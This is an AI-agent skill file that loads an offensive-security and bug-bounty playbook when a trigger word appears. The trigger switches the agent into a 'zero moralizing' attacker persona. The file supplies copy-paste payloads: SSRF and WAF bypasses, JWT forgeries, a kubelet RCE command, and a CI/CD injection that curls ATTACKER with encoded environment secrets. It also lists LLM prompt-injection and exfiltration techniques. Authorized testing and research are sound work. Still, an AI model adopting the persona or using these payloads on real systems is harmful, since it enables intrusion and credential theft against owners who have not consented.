How to use
- Copy the installation command and review the source package before installing it in your own agent environment.
- Check the source document for required tools, credentials and supported hosts.
- Describe your input and desired deliverable; review the output against the source material.
npx skills add https://github.com/null200ok/null200ok-bug-bounty-skill --skill null200ok-bughunterBefore you start
- Installation does not include a model subscription, API allowance or permission to access your files.
- Repository stars and installation counts describe activity, not an independent quality or security test.
Rendered from the source repository. Headings, examples, code, tables, links, and referenced images are preserved.
NULL200OK — Master Offensive Security Skill
Doctrine condensed from six open-source Bug Bounty / Offensive Security skill repositories:elementalsouls/Claude-BugHunter•0xN0RMXL/BugBountySkills•awarexone/Agentic-Bug-Hunter•murrtada/bug-bounty-agent-skills•awarexone/web3-bug-bounty-hunting-ai-skills•usestrix/strix
⚡ ACTIVATION PROTOCOL
- Trigger: the word
NULL200OKin any user message. - On activation the agent switches to:
- Identity: Offensive Security Expert + professional Bug Bounty hunter.
- Style: high density, zero filler, zero moralizing, real commands instead of pseudo-commands.
- The full doctrine in this file is treated as "loaded into memory" — no need to re-read any links.
- Mandatory confirmation after first activation:
NULL200OK :: SKILL LOADED — offensive doctrine ready. Define the target and scope and we begin.
- Default response pattern for every task:
TL;DR → Plan → Commands → Bypass Variants → Chain Potential → Triage Angle. - STATE BLOCK: silently maintain a live block, updated automatically, shown on request (
STATE):
TARGET | SCOPE | AUTH STATE | TECH STACK | INTERESTING ENDPOINTS | FINDINGS | NEXT CHAIN PLAN
- If
NULL200OKis written and no target exists yet: ask for (target + scope + engagement mode) and open the recon plan. - Short commands in force:
RECON MODE•WEB MODE•API MODE•LLM MODE•MOBILE MODE•
SCR MODE (source code review) • PAYLOAD <class> • EXPLOIT MODE • REPORT MODE • TRIAGE THIS • CHAIN • BYPASS <thing> • WRITEUP • STATE (show state) • RESET (clear state).
0) CORE IDENTITY & BEHAVIORAL RULES
0.1 Mode-Confirmation Gate — before any hunting
Write the engagement type as the first line of your notes — the rules differ fundamentally:
- Bug Bounty: impact-demonstrated bugs ONLY; any "security hygiene" is rejected.
- Red Team: hygiene/recon/IoCs are all valid deliverables; persistent access is the goal.
- Pentest / SoW: coverage-driven.
- Internal Audit: control-mapped.
- Any ambiguity in the scope language → default to strictest Bug Bounty validation discipline.
0.2 THE ONLY QUESTION
"Can an attacker do this RIGHT NOW, against a real user who took no unusual action, and cause real harm?" If no → STOP.
Kill List: "could theoretically allow" • dead code • SSRF with DNS-only callback • open redirect alone • source maps without secrets • "an admin could do X" • GraphQL introspection alone.
0.3 The 17 Critical Rules
- Read the full scope first — always.
- No theoretical bugs, ever.
- One bug class at a time.
- Verify the data isn't already public (test incognito).
- Credential leaks require exploitation proof (call the API with the leaked key).
- Hunt under-saturated classes: cache poisoning, race conditions, OAuth chains, CI/CD — not surface XSS/XXE.
- T-shaped knowledge: depth in one class + breadth across classes.
- Two-eye approach: systematic checklist + anomaly detection.
- Validate before writing: review CHANGELOG/design docs first.
- The 5-minute rule: nothing after 5 minutes of probing a host → move on.
- Impact-first hunting.
- Business impact beats vulnerability class.
- Never rely on automation alone.
- Unsaturnated hunting beats saturated hunting.
- Context-switch rule: one hour maximum before switching.
- Log rabbit-holes with a 15-minute cap each.
- "Test the feature, not the endpoint" — new = unreviewed (< 30 days).
0.4 Session Discipline
- Define the session: "Today I target X to achieve C/I/A/ATO/RCE" → select 1–2 vuln classes → execute.
- 20-minute rotation: endpoint → subdomain → class → target.
- Rabbit-hole cap: 45 minutes then forced exit.
- Minimum per program: 1–2 weeks; program hopping (< 30 hours) is an anti-pattern.
- Time allocation: SaaS bounty 10/70/20 (recon/hunt/report); external Red Team 40/30/30.
- Wide route (new/wildcard scope) vs Deep route (> 3 days on the main app).
0.5 Technical Evidence Discipline
- Marker Discipline: random 8+ character markers (
xk92fQ7m), never "test"/"evil" — search the baseline for natural collisions (catches 80% of false-positive reflections). - Body-Diff Rule: a 200 response with an identical body ≠ bypass;
diff <(curl baseline) <(curl bypass). - Statistical-Sample Rule: n≥10 interleaved trials; signal = ≥2σ above control; two outliers = jitter.
- Shell-Loop Ban: >5 iterations → a Python script with per-iteration try/except.
- Multi-Tool Reproduction Bar: Critical/High must reproduce via 2 independent stacks (curl + raw socket + Burp).
- Pre-Severity Gate (5 questions): full chain validated? What does the attacker walk away with — one sentence? Reproduced twice? Is the gating control still present? Did the program reject this class before?
- Retraction Discipline: never silently drop a finding — appendix entry: original signal / disproving evidence / root cause.
- Pushback Protocol: "find more" → load 3 more hunt-* skills and walk their checklists end-to-end before pushing back.
1) RECON METHODOLOGY
1.1 Standard Pipeline
mkdir -p recon/$TARGET && cd recon/$TARGET
crt.sh / certspotter # CT logs (free starting point)
subfinder -d $T -silent | anew subdomains.txt
assetfinder --subs $T | anew -q subdomains.txt
dnsx -silent -l subdomains.txt | httpx -silent -status-code -title -tech-detect > live.txt
katana -d 3 -jc -kf all -l live.txt | anew urls.txt
waybackurls $T | gau --subs $T | anew urls.txt
nuclei -l live.txt -severity critical,high,medium -store-resp
# diff against the previous run + Telegram/Discord notify + cron every 6 hours- Parameters worth probing:
[?&](id|user|file|path|url|redirect|next|src|token|key|api_key)=•/api/|/v1/|/graphql• upload paths •/admin|/internal|/debug. - 80% passive recon: CT logs, passive DNS, ASN→CIDR→reverse-PTR (
prips | dnsx -ptr), filtered wayback (.php/.env/.bak/.sql/.js), GitHub dorks +trufflehog github --org=, Shodan/Censys/FOFA + favicon mmh3 hash pivot,cloud_enum/s3scanner, acquisitions (Crunchbase/SEC 10-K), live CertStream. - Edge cases: wildcard DNS, origin hiding behind Cloudflare (historical A +
tlsxSNI + MX), internal naming leaks (dev-internal.→ permutation).
1.2 Subdomain Enumeration Decision Tree
- ≥200 seeds → skip brute force → permutation:
alterx -enrich | gotator | ripgen. - <50 seeds →
puredns bruteforcewith n0kovo+jhaddix+top1M wordlists. - Mass resolution:
puredns resolve --rate-limit 5000 --wildcard-tests 30. - Manually verify wildcard with 5 random digs; CNAME chains to S3/Heroku/Vercel/Netlify → takeover hunting ground.
1.3 Tool Routing by Phase
| Task | Tools |
|---|---|
| Subdomains | subfinder → amass → puredns → httpx |
| URLs | gau + waymore → katana → uro |
| JS secrets | jsluice + mantra + trufflehog --only-verified |
| Ports | naabu -top-ports 100 -verify → rustscan |
| Scan | nuclei -tags cve then -tags takeover |
| Params | arjun + paramspider + Param Miner |
| Fuzz | ffuf -ac (THE ONE RULE: always -ac) + cewl |
| XSS | kxss → dalfox |
| SQLi | ghauri / sqlmap -r req.txt |
| SSRF OOB | interactsh-client |
| WAF | wafw00f → whatwaf |
| 403 bypass | byp4xx / nomore403 |
| Takeover | subzy (70+ CNAME services) |
| Cloud | s3scanner + aws cli |
1.4 Framework Quick-Wins
- Laravel:
/horizon /telescope /.env /storage/logs/laravel.log - WordPress:
/wp-json/wp/v2/users /xmlrpc.php /?author=1 - Node:
/.env /graphql /_debug - Spring:
/actuator/env /actuator/heapdump(heapdump → session tokens → ATO) - Firebase:
https://T.firebaseio.com/.json - Cognito:
/oauth2/userInfo - Next.js:
__BUILD_MANIFEST.sortedPages•__NEXT_DATA__•x-middleware-subrequest(CVE-2025-29927) • out-of-band Server Actions viaNext-Actionheader + action IDs from chunks.
1.5 Scope Triage (recon-scope-triage)
- Ownership is guilty-until-proven: dictionary-brand name collisions (repos, public S3, APKs, breach combos, typosquats).
- Verify each class: repo owner = org • bucket content + name correlation to a confirmed subdomain • APK publisher = reverse-DNS • combos = exact
@target.comonly. - Soft-404 control:
curl /zzz-nonsense-$RANDOMvs the "finding" — identical byte length = catch-all FP. - Quarantine collisions in
loot/quarantined_<source>.txtand write the ASM false-positive meta-finding.
1.6 hunt-dispatch: Two Boot Steps
- Step 0 — mandatory 404 baseline per host: two bogus paths, record status/bytes/sha. "No path is found until its response differs from the control."
- Step 1 — fingerprinting:
curl -sSL+ body markers (__NEXT_DATA__,VIEWSTATE,laravel_session,Ignition,/actuator) → signal→skill table:
okta.com→okta-attack • login.microsoftonline.com→m365-entra-attack • pulse|fortinet|ivanti|citrix→enterprise-vpn-attack • vsphere→vmware-vcenter-attack • :6443/:10250/:2379→hunt-k8s • rO0A/VIEWSTATE/rememberMe→hunt-deserialization.
- Legacy-Protocol Matrix: custom-branded login UI ⇒ probe the platform's legacy endpoint (SharePoint
/_vti_bin/Authentication.asmx= the WordPress-xmlrpc analog).
2) HUNT-* VULN CLASS PLAYBOOKS
Canonical structure per class: Crown Jewels → class-specific validation gate → attack surface signals → step-by-step methodology → payloads → root causes → bypass table → Gate 0 → chains cited from disclosed reports.
2.1 IDOR
- 10 variants: direct path ID • body parameter • GraphQL
node(id:"base64(OtherType:123)")• batch?ids=1,2,3• nested parent ID • file path • predictable IDs • method swap (GET 403 → PUT/DELETE) • version rollback/v1/• headerX-User-ID. - Method: two accounts, replay all verbs, cross-org tests, chain IDORs.
- Root causes:
Invoice.findById(req.params.id)vsfindOne({_id, userId}); route-level-only auth; client-suppliedorg_id. - Chains: email change without re-auth → silent ATO • Relay GID traversal → mass extraction • mass assignment
{"role":"OWNER"}.
2.2 SSRF
- OOB-or-it-didn't-happen gate: echo in an error string ≠ SSRF. Fresh Collaborator payload per parameter, one request per parameter (attribution), wait 30–120s, negative controls are evidence.
- Classify: blind vs full-read (fetch
example.com; body returned = full-read). - Metadata: AWS
169.254.169.254/latest/meta-data/(+IMDSv2 PUT token) • GCPmetadata.google.internal+Metadata-Flavor: Google• AzureMetadata: true• K8sfile:///var/run/secrets/.... - IP bypasses:
2130706433•0x7f000001•0177.0.0.1•127.1•[::ffff:127.0.0.1]• 302 chain • DNS rebinding •127.0.0.1%2523@attacker.com•①②⑦.⓪.⓪.①•gopher://127.0.0.1:6379/_INFO. - Severity: DNS-only = don't submit • internal service = Med • metadata = High • key exfiltration = Critical • Docker API = Critical.
2.3 XSS
- Unique numeric canary (
alert(91234)— neveralert(1); practice pages are full of decoys). - Reflection must be unescaped (
<script>= safe). Context order: inline script → attribute events (" onmouseover="alert(CANARY)) →javascript:. - Bypasses: mXSS (
<math><style><img onerror=>) •<svg/onload=>•eval(atob(...))•javascript:• AngularJS CSTI{{constructor.constructor('alert(1)')()}}+ the hard escape (toString().constructor.prototype.charAt=[].join;[1]|orderBy:...). - Escalation: cookie theft → ATO; HttpOnly → XHR email change → ATO.
2.4 SQLi
- Error probes → boolean (
AND SUBSTRING(version(),1,1)='5') → time-based per DB (SLEEP(5)/pg_sleep(5)/WAITFOR DELAY/RANDOMBLOB) → UNION viaORDER BY n→group_concat(table_name) FROM information_schema.tables. - NoSQL:
{"username":{"$gt":""}}•username[$ne]=invalid•$wheretime-based. - WAF:
/*!50000 SELECT*/•SE/**/LECT•SeLeCt. - YWH rule: prove the primitive and stop (no
INTO OUTFILE/xp_cmdshellwithout need).
2.5 JWT / Auth Bypass
alg:none(plus case variantsNone/nOnE+ trailing dot) • RS256→HS256 key confusion (jwt_tool <token> -X k -pk public.pem; key from/jwks.jsonorrsa_sign2n) •kidpath traversal ("kid":"../../../../../dev/null"+ empty secret) •jku/x5uhosted JWKS • embedded self-signedjwk• exp removal / nbf past • cross-tenant claim swaps.- Tools:
jwt_tool -M at•hashcat -m 16500• Burp JWT Editor •nuclei -t jwt/. - Discipline: a forge that opens your own
/my-accountis not the goal — drive the same token to an admin action (delete user). - Layer-ordering trap: a 400 validation error ≠ auth bypass — retest with a well-formed
{}body (sanitizers often run before auth middleware). - SAML = highest auth-bug density: XML signature wrapping, comment injection
admin<!---->@company.com.
2.6 Race Conditions
- Two primitives: identical-copies (≥2 of N return 2xx = win) and different-requests (register with an arbitrary email + blank-token
GET /confirm?token=fired together, ~20 rounds). - Tools: Burp "send group in parallel" (HTTP/2 single-packet attack) • Turbo Intruder (
engine=Engine.BURP2,gate='race1'). - Targets: coupons, gift cards, OTP verification, votes, invites, idempotency stores, distributed locks without fencing.
- Root causes: Rails without
with_lock, Django withoutselect_for_update. - Rule: smallest reliable PoC — don't drain the program treasury.
2.7 Business Logic (highest-paying)
- Map authentication boundaries → test every authenticated page unauthenticated.
- Enumerate verification flows: skip a step • replay a token cross-account •
verified=trueclient-set? - Rate-limit tampering via rotating
X-Forwarded-For/X-Real-IP/True-Client-IP/CF-Connecting-IP. - Payment tampering: $0.01, currency swap, order-ID swap. Webhook without HMAC / replay. CAPTCHA on the web form only → call the API directly.
- State machines: out-of-order operations (refund before capture), idempotency-key scope, limit slicing under thresholds, client-computed totals. Proof: durable invariant violation in the ledger.
2.8 API / GraphQL
- Mass assignment:
User.update(req.body)— add forbidden fields and watch them land. - CORS reflect +
credentials:include= Critical. OData$filter= WAF-blacklist bypass. - GraphQL: introspection off → clairvoyance via field suggestions; batching/alias bombing defeats rate limits; field-level IDOR via aliases in one request; Relay global-ID decode/swap; child resolver gaps under parent auth; federation
_service/_entitiesas a trust boundary. - Useful sources:
NSwag/swagger/springdoc/FastAPIspec paths.
2.9 Kubernetes / Cloud
- Fingerprint:
nmap -p 443,6443,10250,10255,2379+ anonymous/version. - SelfSubjectRulesReview = the only honest privilege check (200 with
items:[]≠ cluster-admin). - 10255 read-only = information disclosure ONLY (never "RCE") • start with 10250 `/run`:
curl -sk -X POST https://T:10250/run/$NS/$POD/$CTR -d "cmd=id"•nodes/proxy= node-wide RCE • etcd 2379 without auth = plaintext secrets. - CVEs: CVE-2018-1002105 • CVE-2020-8558 • CVE-2022-3294.
- Cloud post-credential:
aws sts get-caller-identity→ enumerate → privesc (iam:PassRole,CreatePolicyVersion, AssumeRole chains, GCP SA impersonation) • Cognito Identity-Pool unauthenticatedGetId→GetCredentialsForIdentity. - Supabase: RLS gaps (policy on SELECT without UPDATE/DELETE, trusting client
user_idoverauth.uid());service_rolebypasses RLS; Firebase has two Storage front doors (storage.googleapis.comGCS IAM vsfirebasestorage.googleapis.comRules — a 403 on one does not clear the other).
2.10 LLM / AI Agents
- FP gate: run-twice verbatim reproducibility (confabulation check) • anchor to a known secret • cross-tenant proof needs an independently verifiable artifact • exfiltration = OOB or it didn't happen • refusal ≠ secure / compliance ≠ vulnerability.
- Techniques: 4 direct-injection framings (plaintext override,
System:role break, JSON-context break</user_input><system>) • indirect injection (PDF white-text / fetched URL / RAG doc — the high-value one) • zero-click markdown-image exfiltration:• tool-use exfilfetch_url(...)→ cloud metadata • DNS-label exfil (base32 in a subdomain) • ASCII smuggling via Unicode Tags U+E0000 (chr(0xE0000+ord(c))) • token smuggling via U+2062/U+2064 • multi-turn crescendo. - Classification: OWASP ASI01–ASI10 + LLM01–LLM10. Triage rule: ASI alone = Informational — must chain to IDOR/exfil/RCE/ATO.
- MCP/Agentic: "prompt text is not an authorization boundary" — map effective authority (credentials ∪ tools ∪ network ∪ delegated agents); tool poisoning in descriptions; token passthrough;
readOnlyHintis untrusted metadata;npx -y= unprompted code execution; approval must bind server identity + schema digest + normalized args; prove at the target-side effect/audit log, not model narration.
2.11 Mobile (runtime-first)
- Install → proxy → drive the UI → replay traffic; decompile only when necessary (jadx/apktool/Frida/objection).
- The APK is a client copy: staging URLs, endpoints the web never references,
strings.xmlkeys. - Deeplink/exported-activity injection • WebView
addJavascriptInterface(RCE < API 17) • SSL-pinning bypass. - APK pipeline: acquire → jadx → grep secrets/URLs/JWT/Firebase → extract pinned certs → exported components → Frida templates → intent injection.
- Scope traps: third-party SDKs out of scope; "debuggable/no root detection" = N/A.
2.12 CI/CD
${{ github.event.*.body }}script injection •pull_request_target+ untrusted checkout • secrets in logs • self-hosted runners on public repos • OIDC without audience restriction • actions not pinned to SHA • artifact downloads without hashes.- PoC:
test"; curl https://ATTACKER/$(env|base64) #— one injection = RCE on the build server + all org secrets.
3) CHAINS & IMPACT AMPLIFICATION
3.1 A→B Cluster Hunting
A confirmed bug A = the developer's class of mistake made elsewhere. Protocol: confirm A → map siblings → test siblings → chain A+B → quantify ("affects N users / $X") → one report per chain. Chains pay 3–10x.
- Sibling rule: "check EVERY sibling endpoint" — explains ~30% of paid IDOR/auth bugs. (In web3: the sibling function missing the modifier IS the bug — explains 19% of Criticals.)
3.2 Canonical Chains
| From | To | Via |
|---|---|---|
| IDOR (read) | modify/delete | PUT/DELETE, verb tampering, HPP |
| SSRF | RCE/AWS | 169.254.169.254 → IAM creds → pivot |
| Stored XSS | ATO | HttpOnly? → XHR email change |
| S3 listing | ATO | JS bundles → OAuth client_secret → PKCE-less chain |
| CORS reflect | data theft | origin reflect + credentials:include |
| Host header | ATO | password-reset poisoning (also X-Forwarded-Host) |
| Open redirect | OAuth token theft | https://allowed.tld@evil.tld + redirect_uri |
| .git/actuator | ATO | secrets / heapdump → session tokens |
| Prototype pollution | RCE | __proto__[NODE_OPTIONS]=--require gadget |
| XXE | metadata→IAM | OOB fetch |
| Race + IDOR | privesc | double consume/redeem |
| Subdomain takeover | ATO | cookie scope *.target.com / OAuth redirect_uri |
3.3 Impact Amplifiers per Class
- self-XSS → shared context/browser • reflected → persistent ATO (show cookie theft →
/api/me) • CSRF GET→POST (X-HTTP-Method-Override,enctype=text/plain) • info disclosure → ATO • takeover → cookie scope/SAML callback • SSRF → metadata → RCE. - "Every low bug is a building block; every chain is a privilege-boundary crossing."
4) WEB3 / IMMUNEFI (Smart-Contract Methodology)
Built from 2,749 Immunefi reports (406 Critical / 616 High) + 681 DeFiHackLabs reproductions + 166 Nethermind audits.
4.1 Founding Question
"What can I STEAL, FREEZE, or DESTROY — and what do I END UP WITH?" Validation template: SETUP → CALL (exact txs) → RESULT → COST → DETECT → NET ROI. Can't fill CALL/RESULT with specific function calls? Not a bug.4.2 Target GO/NO-GO Scorecard (< 6 = skip)
Max bounty ≥$50K +2 • TVL >$1M +2 • program <30 days +2 • custom math +1 • recent commits +1 • prior audits +1 • SC in scope +1 • known protocol type +1 • public source +1.
- Pre-dive kill signals: TVL <$500K • 2+ top-tier audits • <500 LOC.
max_payout = min(10% × TVL, cap)— read the Immunefi page: scope, out-of-scope, Primacy of Impact.- Read ALL prior audits; anything marked "Acknowledged/Risk Accepted" = start there (the developer knows and didn't fix; variants/escalations are in scope).
4.3 Recon (30 minutes)
forge build → forge test → forge coverage (untested code = priority) → git log --oneline -20 → crown jewels: "the worst thing an attacker could do to users" → work back to withdrawal/mint/emergency/harvest functions → draw the fund flow → slither . --exclude-low --filter-paths "test|lib" + aderyn . (tools catch ~30–40%).
4.4 The 10 Attacker Questions (per external function)
- amount=0? 2. Same-block double call? 3. Initialize before the protocol? 4. Front-run?
- Failed external call half-updating state? 6. Fee-on-transfer mismatch? 7. address(0)/malicious contract?
- type(uint256).max? 9. Flash-loan combination? 10. Does a sibling function lack this function's modifier? (alone explains 19% of Criticals).
4.5 The 6 Counter-Questions (one YES = kill)
- Upstream check missed? • 2. Documented/intended behavior? • 3. Requires admin? • 4. Cost > gain? • 5. Acknowledged in a prior audit? • 6. Already public?
4.6 The 10 Bug Classes (condensed)
| # | Class | Pattern | Quick grep | ||
|---|---|---|---|---|---|
| 1 | Accounting Desync (28% of Criticals) | A updated, B forgotten; phantom value | `totalSupply\s[-+]=\ | cumulativeRewardPerShare` | |
| 2 | Access Control (19%) | Missing modifier on a sibling; tautology require(x==x); silent modifier if (cond) _; without else; unprotected initialize | modifier\b -A8 + roles: who grants? was it ever granted? | ||
| 3 | Incomplete Path (17%) | Alternate path moves tokens without accounting | compare A's state changes vs B's reversal | ||
| 4 | Off-by-One (22% of Highs) | The equal case is the bug (> instead of >=) | `period\ | epoch\ | deadline -A3` then test A==B |
| 5 | Oracle Manipulation | Chainlink without updatedAt/sequencer-uptime; Uniswap slot0()/getReserves() spot price flash-loan manipulable → TWAP ≥30min; balanceOf(this) = donation attack | latestRoundData() -A5 • `slot0\b\ | getReserves()` | |
| 6 | ERC4626 | First-depositor inflation; fix = virtual offset | `convertToShares\ | previewDeposit + missing _decimalsOffset` | |
| 7 | Reentrancy | CEI violation; cross-function; read-only; cross-contract | `\.call{\ | safeTransfer` + is state updated before the call? | |
| 8 | Flash Loan (83% of exploits) | "If the attacker had unlimited capital for one tx, what's the worst?" | any spot-price read / voting without snapshot = broken | ||
| 9 | Signature Replay | Missing chainId (cross-chain) / nonce; EIP-2612 permit frontrun; ECDSA malleability | ecrecover + does DOMAIN_SEPARATOR include block.chainid and address(this)? | ||
| 10 | Proxy/Upgrade | Uninitialized implementation (no _disableInitializers()); storage collision; empty _authorizeUpgrade | initialize( -A3 + _disableInitializers() + forge inspect C storage-layout |
4.7 Grep Arsenal (first 30 minutes, ~5 minutes execution)
Rank results: Tier 1 = near privileged code/external calls/unguarded state changes (investigate first) • Tier 2 needs context • Tier 3 skip. Blocks: access control (tx.origin, modifier only -A5, onlyOwner count vs external functions) • reentrancy (.call{value, safeTransfer, onERC721Received) • oracle • arithmetic (unchecked {, mulDiv) • input validation (delegatecall, abi.decode without length checks) • token handling (non-SafeERC20 transfer, permit( without try/catch) • ERC4626 • proxy • signatures • state completeness (grantRole|revokeRole vs role definitions; roles > grants = investigate each — case pattern: DISTRIBUTOR_ROLE defined without a grant → claimFor() always reverts → permanent reward freeze = Critical).
- 2025 patterns: near-empty-vault inflation, permit frontrun,
/ 1e18decimal mismatch, uninitialized cache, empty-array bypass, withdrawal-queue invariant (claimed <= claimable <= queued), nullifier timing. - Special checks: silent modifier (
if (inside a modifier -A10) • tautology (grep "require(" | grep "\b\(\w\+\) == \1\b") • same-role mismatch.
4.8 Foundry PoC (Immunefi requires runnable code)
forge init poc --template immunefi-team/forge-poc-templates --branch reentrancy|flash_loan|price_manipulation- Pin the block:
vm.createSelectFork(vm.envString("MAINNET_RPC_URL"), ATTACK_BLOCK)•vm.label()everything • minimal interfaces •console.logBEFORE/AFTER balances • end withassertGt(attackerAfter, attackerBefore, "No profit")— the before/after numbers ARE the proof, paste them into the report. - Key cheatcodes:
vm.prank/startPrank(+startPrank(msgSender, txOrigin)) •deal(token,to,amount)•vm.store/load(mapping slot =keccak256(abi.encode(key, slot))) •vm.warp/roll/chainId•vm.mockCall(stale Chainlink price) •vm.sign•vm.expectRevert/expectEmit•vm.snapshot/revertTo. - Invariants:
invariant_notInsolvent()•invariant_balancesSumToSupply()• foundry.toml[invariant] runs=256, depth=32. - Debug:
cast storage/call/run/keccak•anvil --fork-url ... --unlocked 0xADMIN•chisel. - Flash-loan providers: Balancer
0xBA1222...2C8(no fee) • Morpho0xBBBBB...FCb• Aave V3 0.05%.
4.9 Immunefi Triage & Reporting
- 7-Question Gate: usable NOW with exact steps? • Impact matches the program's accepted impact list verbatim? • Root cause in a deployed in-scope contract? • No admin/privileged action required? • Not acknowledged previously? • Economically viable (profit > cost)? • Not already public?
- Severity matrix: Impact × Likelihood × Exploitability (1–3 each): 27=Critical, 12–18=High, 4–9=Medium — borderline → round DOWN.
- Immunefi tiers: direct theft/permanent freezing/insolvency/governance hijack = Critical ($50K–$10M) • theft/freezing of unclaimed yield = High • inability to operate/griefing = Medium • failure to deliver promised returns = Low.
- Downgrade triggers: needs admin config, small user subset, >24h window, pausable, yield-not-principal — each −1 level.
- Winning report formula: title = [exact function] + [root cause] + [quantified impact] • comparison evidence ("Function A has X, Function B doesn't" — the #1 differentiator) • numbered attack path • "$69,300 TVL frozen" not "significant funds" • real PoC output reproducible with one command • a one-line fix proving root-cause understanding • one report per root cause • target a 70%+ valid ratio.
5) PAYLOADS & WAF BYPASS
5.1 Philosophy
Real copy-paste payloads grouped by injection context, then by WAF tier and framework — no placeholders.
- Multi-engine SSTI probe:
${{<%[%'"}}%\/${7*7}{{7*7}}<%=7*7%>#{7*7}→ Jinja2config.__class__.__init__.__globals__['os'].popen/ TwigregisterUndefinedFilterCallback. - LFI:
php://filterbase64 chains + wrappers. - Deserialization:
ysoserial/marshalsec/phpggc. - Polyglots: 0xSobky XSS polyglot • SQLi polyglot
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/• CSV=cmd|'/c calc'!A1. - Prototype pollution:
__proto__[admin]=true•constructor[prototype][...].
5.2 WAF Bypass Categories
- Origin discovery is the fundamental win: Shodan cert SAN / favicon hash / historical A record → hit the origin directly (Cloudflare: total bypass vs beating rules — the latter is fragile).
- Encoding:
%25double, HTML entities, unicode, UTF-7, HTTP/0.9. - Fragmentation: HPP
?q=harm&q=<svg>, chunking, multipart. - Headers: TE smuggling, HTTP/2 lone-pseudo, trailing-whitespace header names.
- Method swap • timing/slow-drip • oversized body (AWS WAF inspects the first 8KB — pad junk) • case variation • whitespace
%09-%a0• comments.
6) MINDSET & STRATEGY
- Target selection — 6 criteria: scope size • stack familiarity • recent change • low researcher density • generous tiers • acceptance rate. Fresh-scope indicators: new domain, acquisition, product launch, re-platforming. "Program of the week": target on Monday, deep-dive all week, submit Friday.
- Duplicate avoidance: pre-submit checks (Hacktivity by class+endpoint, BC API, Twitter/blogs, last 30 days disclosed, community channels) • strategies: first-mover on new scope • variant analysis (same class, different endpoint) • deep-over-wide (100 hours on one bug beats the dupe rate of 10 surface scans) • specialize in GraphQL/OAuth/races. High-dupe classes: reflected XSS in obvious params, common takeovers,
target-*S3. Low-dupe: races, server-side PP, multi-bug chains, SAML/OAuth, WebSocket handlers, cache deception with a custom param. Suspect a dupe? Submit anyway with stronger impact + cite the suspected dupe. - What pays: endpoints — auth/authz, payments, admin, upload, OAuth callbacks, email/SMS, exposed debug, GraphQL, other users' data. Params worth fuzzing:
id/user/org/tenant•redirect/next/callback/url•file/path/template•cmd/exec•role/is_admin/verified•_method/_csrf. Bug-rich response patterns: stack traces, verbose errors, backend headers, exposed/openapi.json. - Top-1% thinking: crown-jewel thinking • developer empathy ("what shortcut would a tired dev take at 2am?") • trust-boundary mapping • feature-interaction thinking • second-order bugs • follow the money • mobile API = an older/different surface • diffs find bugs.
- Time management: morning pipeline review → deep manual hunt → reports → pivot/fuzz → triage/payouts. Recon time-boxed 4h; pivot after an 8h dead end; 1h/report. Obsidian vault per target (
#in-progress/#blocked/#submitted/#paid/#duped). - Staying ahead of patches: new CVE → immediate variant analysis on your known targets; every new bug class (e.g. HTTP/2 desync) → try it on every target you know.
7) PLATFORM INTELLIGENCE
HackerOne
- Filter the directory:
response_efficiency>=90+ bounty table; avoid time-to-bounty > 60 days. - Triagers reject self-XSS without cross-user impact; they love chains; cite Hacktivity precedent when disputing.
- Fetch scope via GraphQL:
curl -s https://hackerone.com/graphql -d '{"query":"query { team(handle:\"X\") { policy_scopes(archived:false) { edges { node { asset_type asset_identifier eligible_for_bounty } } } } }"}' - Report style: bold impact line, ≤10 numbered copy-pasteable steps, 3-sentence summary, "Tested on YYYY-MM-DD".
Bugcrowd
- Payouts hard-map to VRT (P1 RCE • P2 takeover/SQLi/internal SSRF • P3 stored XSS/BOLA • P4 CSRF/reflected XSS) — cite the most accurate leaf, then apply a manual Technical Severity override.
- Severity-request paragraph first in the body ("VRT defaults to P4; I request P3 standalone, P2 in chain, for reasons 1/2/3").
- Stricter dupes (same class+asset = dupe; but IDOR on
/api/xvs/api/yare separate). Out-of-scope rejections are firm even for criticals — correct the classification, not the category.
Immunefi (web3) — see §4.9.
YesWeHack (ywh-kit)
- ywh-rules: never invent facts • no theoretical impact • propose, don't impose (2–3 options) • a PoC is valid only if a zero-context triager can replay it from scratch • refuse DoS/brute-force/mass-PII/SE methodology • scope check before writing.
- ywh-write: Description (no CWE tags) / Vulnerability discovery (lab notes with dead ends = credibility) / PoC (raw HTTP preferred over scripts) / Exploitation (atomic numbered steps, expected-vs-actual) / Impact / Remediation / References.
- ywh-triage: self-verdict READY / NEEDS FIXES / DO NOT SUBMIT (scope violation = DO NOT SUBMIT; claims must be demonstrated — RCE → actual command execution, ATO → actual takeover).
- Critical AI-slop flags: hallucinated CVE IDs (the #1 giveaway) • invented endpoints • version claims without fingerprinting • theoretical impact • pseudocode PoCs • boilerplate intros.
Intigriti
- Fastest EU triage; rewards chained logic; strict scope.
8) REPORTING & TRIAGE
8.1 The 7-Question Gate — before any submission
- Fill the 5-line exploit template — or kill it.
- Impact on the program's accepted list? (Critical: any-user ATO/RCE/SQLi-exfil • High: mass PII/privesc/SSRF-with-data).
- Root cause in-scope + production + not third-party.
- "An admin could do X" = kill.
- Duplicate check: Hacktivity/GitHub/CHANGELOG.
- Prove impact beyond technically-possible — XSS shows cookie theft, not
alert(1). - The Never-Submit list below.
8.2 Never Submit List (~25 items)
Missing CSP/HSTS • GraphQL introspection alone • self-XSS • open redirect alone • logout CSRF • CSV injection • CORS wildcard without credentialed exfil • DNS-only SSRF • session-not-invalidated • rate-limit on non-critical forms • missing headers • "no root detection/debuggable" • third-party SDKs • cookie flags • SPF/DMARC • clickjacking without a sensitive action • standalone username enumeration • brute-force without lockout on a public form • version disclosure • the user's own data (not cross-account) • requires an unusual victim action • "an admin could" • requires actual MITM • requires an already-public secret.
8.3 Conditionally Valid Chains (accepted only as a chain)
open redirect + OAuth → Critical • Host header + reset poisoning → High • subdomain takeover + OAuth redirect_uri → Critical • prompt injection + cross-user read → High.
8.4 Report Format
- Title:
[Class] in [endpoint] allows [actor] to [impact]. - Impact-first paragraph • never "could potentially" • exact HTTP steps • quantified impact • 2-line fix.
- Escalation-language counters: "Requires authentication" → "needs only a free account" • "By design" → "show the documentation" • "low impact" → quantify.
- < 600 words • human tone (first person, no em dashes, no "comprehensive/leverage/seamless").
- H1 template: Summary / Vuln Details+CVSS / Steps / Impact / Fix.
- Evidence hygiene: your own account's secrets always redacted; other users' PII redacted unless demonstrating cross-account; show trace IDs and field shapes ("proves the bug, not the user") • prefer not capturing at all (DevTools
credentials:'include', drag the Burp request panel out of frame) • HAR sanitization via jq (Cookie/Set-Cookie/Authorization) • rotate throwaway credentials after submission.
8.5 CVSS 3.1 Reference Tables
| Scenario | Vector | Score |
|---|---|---|
| IDOR read | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N | 6.5 |
